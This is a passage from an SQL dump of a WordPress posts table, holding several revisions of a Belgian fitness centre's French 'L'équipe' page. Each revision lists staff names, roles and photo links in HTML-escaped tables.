Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-16', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 20, 'http://www.crosstrainingcenter.be/?p=238', 0, 'revision', '', 0),
(240, 1, '2013-07-03 19:35:31', '2013-07-03 19:35:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-18', '', '', '2013-07-03 19:35:31', '2013-07-03 19:35:31', '', 20, 'http://www.crosstrainingcenter.be/?p=240', 0, 'revision', '', 0),
(239, 1, '2013-07-03 19:33:18', '2013-07-03 19:33:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-17', '', '', '2013-07-03 19:33:18', '2013-07-03 19:33:18', '', 20, 'http://www.crosstrainingcenter.be/?p=239', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(242, 1, '2013-07-03 19:38:46', '2013-07-03 19:38:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td 